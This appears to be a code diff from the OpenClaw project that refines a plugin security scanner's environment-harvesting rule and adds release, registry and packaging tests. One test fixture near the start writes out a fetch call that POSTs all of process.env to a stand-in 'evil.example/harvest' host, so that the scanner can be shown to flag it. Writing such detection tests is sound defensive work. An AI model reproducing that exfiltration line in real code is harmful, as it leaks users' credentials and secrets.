it("still flags local process.env sends", () => {
|
||||
const source = `
|
||||
const env = process.env;
|
||||
await fetch("https://evil.example/harvest", { method: "POST", body: JSON.stringify(env) });
|
||||
`;
|
||||
const findings = scanSource(source, "plugin.ts");
|
||||
expect(findings.some((f) => f.ruleId === "env-harvesting")).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
@@ -145,6 +145,8 @@ type SourceRule = {
|
||||
pattern: RegExp;
|
||||
/** Secondary context pattern; both must match for the rule to fire. */
|
||||
requiresContext?: RegExp;
|
||||
/** If set, secondary context must be within this many lines of the primary match. */
|
||||
requiresContextWindowLines?: number;
|
||||
};
|
||||
|
||||
const LINE_RULES: LineRule[] = [
|
||||
@@ -205,6 +207,7 @@ const SOURCE_RULES: SourceRule[] = [
|
||||
"Environment variable access combined with network send — possible credential harvesting",
|
||||
pattern: /process\.env/,
|
||||
requiresContext: NETWORK_SEND_CONTEXT_PATTERN,
|
||||
requiresContextWindowLines: 8,
|
||||
},
|
||||
];
|
||||
|
||||
@@ -240,6 +243,42 @@ function stripFullLineCommentsForHeuristics(source: string): string {
|
||||
.join("\n");
|
||||
}
|
||||
|
||||
function findSourceRuleMatch(params: {
|
||||
rule: SourceRule;
|
||||
source: string;
|
||||
lines: string[];
|
||||
}): { line: number; evidence: string } | null {
|
||||
if (!params.rule.pattern.test(params.source)) {
|
||||
return null;
|
||||
}
|
||||
if (params.rule.requiresContext && !params.rule.requiresContext.test(params.source)) {
|
||||
return null;
|
||||
}
|
||||
|
||||
for (let i = 0; i < params.lines.length; i++) {
|
||||
if (!params.rule.pattern.test(params.lines[i] ?? "")) {
|
||||
continue;
|
||||
}
|
||||
|
||||
if (params.rule.requiresContext && params.rule.requiresContextWindowLines !== undefined) {
|
||||
const start = Math.max(0, i - params.rule.requiresContextWindowLines);
|
||||
const end = Math.min(params.lines.length, i + params.rule.requiresContextWindowLines + 1);
|
||||
const windowSource = params.lines.slice(start, end).join("\n");
|
||||
if (!params.rule.requiresContext.test(windowSource)) {
|
||||
continue;
|
||||
}
|
||||
}
|
||||
|
||||
return { line: i + 1, evidence: params.lines[i] ?? "" };
|
||||
}
|
||||
|
||||
if (params.rule.requiresContextWindowLines !== undefined) {
|
||||
return null;
|
||||
}
|
||||
|
||||
return { line: 1, evidence: params.source.slice(0, 120) };
|
||||
}
|
||||
|
||||
export function scanSource(source: string, filePath: string): SkillScanFinding[] {
|
||||
const findings: SkillScanFinding[] = [];
|
||||
const lines = source.split("\n");
|
||||
@@ -300,38 +339,22 @@ export function scanSource(source: string, filePath: string): SkillScanFinding[]
|
||||
continue;
|
||||
}
|
||||
|
||||
if (!rule.pattern.test(heuristicSource)) {
|
||||
const match = findSourceRuleMatch({
|
||||
rule,
|
||||
source: heuristicSource,
|
||||
lines: heuristicLines,
|
||||
});
|
||||
if (!match) {
|
||||
continue;
|
||||
}
|
||||
if (rule.requiresContext && !rule.requiresContext.test(heuristicSource)) {
|
||||
continue;
|
||||
}
|
||||
|
||||
// Find the first matching line for evidence + line number
|
||||
let matchLine = 0;
|
||||
let matchEvidence = "";
|
||||
for (let i = 0; i < lines.length; i++) {
|
||||
if (rule.pattern.test(heuristicLines[i] ?? "")) {
|
||||
matchLine = i + 1;
|
||||
matchEvidence = lines[i].trim();
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
// For source rules, if we can't find a line match the pattern might span
|
||||
// lines. Report line 0 with truncated source as evidence.
|
||||
if (matchLine === 0) {
|
||||
matchLine = 1;
|
||||
matchEvidence = source.slice(0, 120);
|
||||
}
|
||||
|
||||
findings.push({
|
||||
ruleId: rule.ruleId,
|
||||
severity: rule.severity,
|
||||
file: filePath,
|
||||
line: matchLine,
|
||||
line: match.line,
|
||||
message: rule.message,
|
||||
evidence: truncateEvidence(matchEvidence),
|
||||
evidence: truncateEvidence(lines[match.line - 1]?.trim() ?? match.evidence.trim()),
|
||||
});
|
||||
matchedSourceRules.add(ruleKey);
|
||||
}
|
||||
|
||||
@@ -4,6 +4,7 @@ import { delimiter, join } from "node:path";
|
||||
import { afterEach, describe, expect, it } from "vitest";
|
||||
import {
|
||||
collectClawHubPublishablePluginPackages,
|
||||
collectClawHubOpenClawOwnerErrors,
|
||||
collectClawHubVersionGateErrors,
|
||||
collectPluginClawHubReleasePathsFromGitRange,
|
||||
collectPluginClawHubReleasePlan,
|
||||
@@ -362,6 +363,50 @@ describe("collectPluginClawHubReleasePlan", () => {
|
||||
});
|
||||
});
|
||||
|
||||
describe("collectClawHubOpenClawOwnerErrors", () => {
|
||||
it("requires OpenClaw-scoped release candidates to already belong to the OpenClaw publisher", async () => {
|
||||
const errors = await collectClawHubOpenClawOwnerErrors({
|
||||
plugins: [
|
||||
{ packageName: "@openclaw/demo-plugin" },
|
||||
{ packageName: "@openclaw/missing-plugin" },
|
||||
{ packageName: "@other/safe-plugin" },
|
||||
],
|
||||
registryBaseUrl: "https://clawhub.ai",
|
||||
fetchImpl: async (url) => {
|
||||
const pathname = new URL(String(url)).pathname;
|
||||
if (pathname.includes("%40openclaw%2Fmissing-plugin")) {
|
||||
return new Response("not found", { status: 404 });
|
||||
}
|
||||
return new Response(
|
||||
JSON.stringify({
|
||||
owner: { handle: "steipete" },
|
||||
}),
|
||||
{ status: 200, headers: { "Content-Type": "application/json" } },
|
||||
);
|
||||
},
|
||||
});
|
||||
|
||||
expect(errors).toEqual([
|
||||
"@openclaw/demo-plugin: ClawHub package owner must be @openclaw; got @steipete.",
|
||||
"@openclaw/missing-plugin: ClawHub package row must already exist under @openclaw before OpenClaw release publish.",
|
||||
]);
|
||||
});
|
||||
|
||||
it("passes when OpenClaw-scoped release candidates belong to the OpenClaw publisher", async () => {
|
||||
const errors = await collectClawHubOpenClawOwnerErrors({
|
||||
plugins: [{ packageName: "@openclaw/demo-plugin" }],
|
||||
registryBaseUrl: "https://clawhub.ai",
|
||||
fetchImpl: async () =>
|
||||
new Response(JSON.stringify({ owner: { handle: "openclaw" } }), {
|
||||
status: 200,
|
||||
headers: { "Content-Type": "application/json" },
|
||||
}),
|
||||
});
|
||||
|
||||
expect(errors).toEqual([]);
|
||||
});
|
||||
});
|
||||
|
||||
describe("plugin-clawhub-publish.sh", () => {
|
||||
it("previews the publish command through the ClawHub CLI dry-run preflight", () => {
|
||||
const repoDir = createTempPluginRepo();
|
||||
|
||||
@@ -12,13 +12,20 @@ function withTarball(
|
||||
files: Record<string, string>,
|
||||
testBody: (tarball: string) => void,
|
||||
version = "0.0.0",
|
||||
options: { includeControlUi?: boolean } = {},
|
||||
options: { includeControlUi?: boolean; packageFiles?: string[] } = {},
|
||||
) {
|
||||
const root = mkdtempSync(join(tmpdir(), "openclaw-package-tarball-test-"));
|
||||
try {
|
||||
const packageRoot = join(root, "package");
|
||||
mkdirSync(join(packageRoot, "dist"), { recursive: true });
|
||||
writeFileSync(join(packageRoot, "package.json"), JSON.stringify({ name: "openclaw", version }));
|
||||
writeFileSync(
|
||||
join(packageRoot, "package.json"),
|
||||
JSON.stringify({
|
||||
name: "openclaw",
|
||||
version,
|
||||
...(options.packageFiles ? { files: options.packageFiles } : {}),
|
||||
}),
|
||||
);
|
||||
writeFileSync(
|
||||
join(packageRoot, "dist", "postinstall-inventory.json"),
|
||||
JSON.stringify(inventory),
|
||||
@@ -146,6 +153,26 @@ describe("check-openclaw-package-tarball", () => {
|
||||
);
|
||||
});
|
||||
|
||||
it("rejects root dist chunks compiled from externalized plugins", () => {
|
||||
withTarball(
|
||||
["dist/index.js", "dist/feishu-client.js"],
|
||||
{
|
||||
"dist/index.js": 'await import("./feishu-client.js");\n',
|
||||
"dist/feishu-client.js": "//#region extensions/feishu/src/client.ts\nexport {};\n",
|
||||
},
|
||||
(tarball) => {
|
||||
const result = spawnSync("node", [CHECK_SCRIPT, tarball], { encoding: "utf8" });
|
||||
|
||||
expect(result.status).not.toBe(0);
|
||||
expect(result.stderr).toContain(
|
||||
"root dist contains code from externalized plugin 'feishu' in dist/feishu-client.js",
|
||||
);
|
||||
},
|
||||
"2026.4.27",
|
||||
{ packageFiles: ["dist/", "!dist/extensions/feishu/**"] },
|
||||
);
|
||||
});
|
||||
|
||||
it("rejects missing Control UI assets", () => {
|
||||
withTarball(
|
||||
["dist/index.js"],
|
||||
|
||||
@@ -303,7 +303,9 @@ describe("docker build helper", () => {
|
||||
expect(sweep).toContain('plugins install "npm:@openclaw/demo-plugin-npm@0.0.1"');
|
||||
expect(sweep).toContain("plugins update demo-plugin-npm");
|
||||
expect(assertions).toContain("demo-plugin-npm is up to date (0.0.1).");
|
||||
expect(npmRegistry).toContain('"dist-tags": { latest: entry.latestVersion }');
|
||||
expect(npmRegistry).toContain(
|
||||
'"dist-tags": { latest: entry.latestVersion, beta: entry.latestVersion }',
|
||||
);
|
||||
expect(npmRegistry).toContain("existing.latestVersion = version");
|
||||
expect(npmRegistry).toContain("packageArgs.length % 3");
|
||||
|
||||
|
||||
@@ -53,6 +53,7 @@ import {
|
||||
resolveRunnerMatrix,
|
||||
resolveStaticFileContentType,
|
||||
shouldExerciseManagedGatewayLifecycleAfterInstall,
|
||||
shouldRunPackagedUpgradeStatusProbe,
|
||||
shouldRunWindowsInstalledBrowserOverrideImportSmoke,
|
||||
shouldSkipInstallerDaemonHealthCheck,
|
||||
shouldStopManagedGatewayBeforeManualFallback,
|
||||
@@ -716,6 +717,27 @@ describe("scripts/openclaw-cross-os-release-checks", () => {
|
||||
).toBe(true);
|
||||
});
|
||||
|
||||
it("skips the packaged upgrade status probe after the Windows fallback install", () => {
|
||||
expect(
|
||||
shouldRunPackagedUpgradeStatusProbe({
|
||||
platform: "win32",
|
||||
usedWindowsPackagedUpgradeFallback: true,
|
||||
}),
|
||||
).toBe(false);
|
||||
expect(
|
||||
shouldRunPackagedUpgradeStatusProbe({
|
||||
platform: "win32",
|
||||
usedWindowsPackagedUpgradeFallback: false,
|
||||
}),
|
||||
).toBe(true);
|
||||
expect(
|
||||
shouldRunPackagedUpgradeStatusProbe({
|
||||
platform: "linux",
|
||||
usedWindowsPackagedUpgradeFallback: true,
|
||||
}),
|
||||
).toBe(true);
|
||||
});
|
||||
|
||||
it("does not recover unrelated packaged update failures", () => {
|
||||
expect(
|
||||
isRecoverableWindowsPackagedUpgradeSwapCleanupFailure(
|
||||
|
||||
@@ -2,6 +2,7 @@ import { readFileSync } from "node:fs";
|
||||
import { describe, expect, it } from "vitest";
|
||||
|
||||
const WORKFLOW_PATH = ".github/workflows/openclaw-cross-os-release-checks-reusable.yml";
|
||||
const WRAPPER_PATH = "scripts/github/run-openclaw-cross-os-release-checks.sh";
|
||||
const HARNESS = "bash workflow/scripts/github/run-openclaw-cross-os-release-checks.sh";
|
||||
|
||||
describe("cross-OS release checks workflow", () => {
|
||||
@@ -11,4 +12,13 @@ describe("cross-OS release checks workflow", () => {
|
||||
expect(workflow).toContain(HARNESS);
|
||||
expect(workflow).not.toContain('pnpm dlx "tsx@${TSX_VERSION}"');
|
||||
});
|
||||
|
||||
it("uses Windows-safe npm resolution for the TypeScript loader bootstrap", () => {
|
||||
const wrapper = readFileSync(WRAPPER_PATH, "utf8");
|
||||
|
||||
expect(wrapper).toContain("command -v npm.cmd");
|
||||
expect(wrapper).toContain('npm_tool_dir="$(cygpath -w "${tool_dir}")"');
|
||||
expect(wrapper).toContain('"${npm_cmd}" install --prefix "${npm_tool_dir}"');
|
||||
expect(wrapper).toContain('exec "${node_cmd}" --import "${loader_url}"');
|
||||
});
|
||||
});
|
||||
|
||||
113
test/scripts/release-registries-verify.test.ts
Normal file
113
test/scripts/release-registries-verify.test.ts
Normal file
@@ -0,0 +1,113 @@
|
||||
import { mkdirSync, writeFileSync } from "node:fs";
|
||||
import { join } from "node:path";
|
||||
import { afterEach, describe, expect, it } from "vitest";
|
||||
import { OPENCLAW_PLUGIN_NPM_REPOSITORY_URL } from "../../scripts/lib/plugin-npm-release.ts";
|
||||
import {
|
||||
collectReleaseRegistryChecks,
|
||||
verifyReleaseRegistries,
|
||||
type ReleaseRegistryCheck,
|
||||
} from "../../scripts/release-registries-verify.ts";
|
||||
import { cleanupTempDirs, makeTempRepoRoot } from "../helpers/temp-repo.js";
|
||||
|
||||
const tempDirs: string[] = [];
|
||||
|
||||
afterEach(() => {
|
||||
cleanupTempDirs(tempDirs);
|
||||
});
|
||||
|
||||
describe("collectReleaseRegistryChecks", () => {
|
||||
it("collects core npm, plugin npm, and ClawHub checks for one release version", () => {
|
||||
const repoDir = makeTempRepoRoot(tempDirs, "openclaw-release-registries-");
|
||||
writeJson(join(repoDir, "package.json"), {
|
||||
name: "openclaw",
|
||||
version: "2026.5.3-beta.4",
|
||||
});
|
||||
writePluginPackage(repoDir, "discord", {
|
||||
publishToNpm: true,
|
||||
publishToClawHub: true,
|
||||
});
|
||||
|
||||
expect(collectReleaseRegistryChecks({ rootDir: repoDir })).toEqual([
|
||||
{
|
||||
registry: "clawhub",
|
||||
packageName: "@openclaw/discord",
|
||||
version: "2026.5.3-beta.4",
|
||||
registryBaseUrl: "https://clawhub.ai",
|
||||
},
|
||||
{
|
||||
registry: "npm",
|
||||
packageName: "@openclaw/discord",
|
||||
version: "2026.5.3-beta.4",
|
||||
distTag: "beta",
|
||||
},
|
||||
{
|
||||
registry: "npm",
|
||||
packageName: "openclaw",
|
||||
version: "2026.5.3-beta.4",
|
||||
distTag: "beta",
|
||||
},
|
||||
]);
|
||||
});
|
||||
});
|
||||
|
||||
describe("verifyReleaseRegistries", () => {
|
||||
it("fails when npm dist-tags or ClawHub versions are stale", async () => {
|
||||
const checks: ReleaseRegistryCheck[] = [
|
||||
{
|
||||
registry: "npm",
|
||||
packageName: "openclaw",
|
||||
version: "2026.5.3-beta.4",
|
||||
distTag: "beta",
|
||||
},
|
||||
{
|
||||
registry: "clawhub",
|
||||
packageName: "@openclaw/discord",
|
||||
version: "2026.5.3-beta.4",
|
||||
registryBaseUrl: "https://clawhub.ai",
|
||||
},
|
||||
];
|
||||
|
||||
const results = await verifyReleaseRegistries(checks, {
|
||||
npmView: (args) => (args[1] === "version" ? "2026.5.3-beta.4" : "2026.5.3-beta.2"),
|
||||
clawHubStatus: async () => 404,
|
||||
});
|
||||
|
||||
expect(results.map((result) => result.ok)).toEqual([false, false]);
|
||||
expect(results[0]?.detail).toContain("dist-tag=2026.5.3-beta.2");
|
||||
expect(results[1]?.detail).toBe("HTTP 404");
|
||||
});
|
||||
});
|
||||
|
||||
function writePluginPackage(
|
||||
repoDir: string,
|
||||
extensionId: string,
|
||||
release: { publishToNpm: boolean; publishToClawHub: boolean },
|
||||
) {
|
||||
const packageDir = join(repoDir, "extensions", extensionId);
|
||||
mkdirSync(packageDir, { recursive: true });
|
||||
writeJson(join(packageDir, "package.json"), {
|
||||
name: `@openclaw/${extensionId}`,
|
||||
version: "2026.5.3-beta.4",
|
||||
repository: {
|
||||
type: "git",
|
||||
url: OPENCLAW_PLUGIN_NPM_REPOSITORY_URL,
|
||||
},
|
||||
openclaw: {
|
||||
extensions: ["./index.ts"],
|
||||
install: {
|
||||
npmSpec: `@openclaw/${extensionId}`,
|
||||
},
|
||||
compat: {
|
||||
pluginApi: ">=2026.5.3-beta.4",
|
||||
},
|
||||
build: {
|
||||
openclawVersion: "2026.5.3-beta.4",
|
||||
},
|
||||
release,
|
||||
},
|
||||
});
|
||||
}
|
||||
|
||||
function writeJson(path: string, value: unknown) {
|
||||
writeFileSync(path, `${JSON.stringify(value, null, 2)}\n`);
|
||||
}
|
||||
@@ -269,6 +269,40 @@ describe("collectRootDependencyOwnershipCheckErrors", () => {
|
||||
expect(collectRootDependencyOwnershipCheckErrors(records)).toEqual([]);
|
||||
});
|
||||
|
||||
it("rejects Feishu SDK at root because Feishu is externalized from the core package", () => {
|
||||
const repoRoot = makeTempRepo();
|
||||
writeRepoFile(
|
||||
repoRoot,
|
||||
"package.json",
|
||||
JSON.stringify({
|
||||
dependencies: { "@larksuiteoapi/node-sdk": "^1.62.1" },
|
||||
}),
|
||||
);
|
||||
writeRepoFile(
|
||||
repoRoot,
|
||||
"extensions/feishu/package.json",
|
||||
JSON.stringify({ dependencies: { "@larksuiteoapi/node-sdk": "^1.62.1" } }),
|
||||
);
|
||||
writeRepoFile(
|
||||
repoRoot,
|
||||
"extensions/feishu/src/client.ts",
|
||||
'import * as Lark from "@larksuiteoapi/node-sdk";\n',
|
||||
);
|
||||
|
||||
const records = collectRootDependencyOwnershipAudit({ repoRoot, scanRoots: ["extensions"] });
|
||||
|
||||
expect(records).toMatchObject([
|
||||
{
|
||||
category: "extension_only_localizable",
|
||||
depName: "@larksuiteoapi/node-sdk",
|
||||
sections: ["extensions"],
|
||||
},
|
||||
]);
|
||||
expect(collectRootDependencyOwnershipCheckErrors(records)).toEqual([
|
||||
expect.stringContaining("root dependency '@larksuiteoapi/node-sdk' is extension-owned"),
|
||||
]);
|
||||
});
|
||||
|
||||
it("allows runtime deps for bundled plugins that are still packaged in core", () => {
|
||||
const repoRoot = makeTempRepo();
|
||||
writeRepoFile(
|
||||
|
||||
@@ -3,6 +3,7 @@ import path from "node:path";
|
||||
import { defineConfig, type UserConfig } from "tsdown";
|
||||
import {
|
||||
collectBundledPluginBuildEntries,
|
||||
collectRootPackageExcludedExtensionDirs,
|
||||
NON_PACKAGED_BUNDLED_PLUGIN_DIRS,
|
||||
} from "./scripts/lib/bundled-plugin-build-entries.mjs";
|
||||
import { buildPluginSdkEntrySources } from "./scripts/lib/plugin-sdk-entries.mjs";
|
||||
@@ -259,8 +260,11 @@ function buildDockerE2eHarnessEntries(): Record<string, string> {
|
||||
|
||||
const coreDistEntries = buildCoreDistEntries();
|
||||
const dockerE2eHarnessEntries = buildDockerE2eHarnessEntries();
|
||||
const rootPackageExcludedExtensionDirs = collectRootPackageExcludedExtensionDirs();
|
||||
const rootBundledPluginBuildEntries = bundledPluginBuildEntries.filter(
|
||||
({ id }) => shouldBuildPrivateQaEntries || !NON_PACKAGED_BUNDLED_PLUGIN_DIRS.has(id),
|
||||
({ id }) =>
|
||||
(shouldBuildPrivateQaEntries || !NON_PACKAGED_BUNDLED_PLUGIN_DIRS.has(id)) &&
|
||||
!rootPackageExcludedExtensionDirs.has(id),
|
||||
);
|
||||
|
||||
function buildUnifiedDistEntries(): Record<string, string> {
|
||||
|
||||
Reference in New Issue
Block a user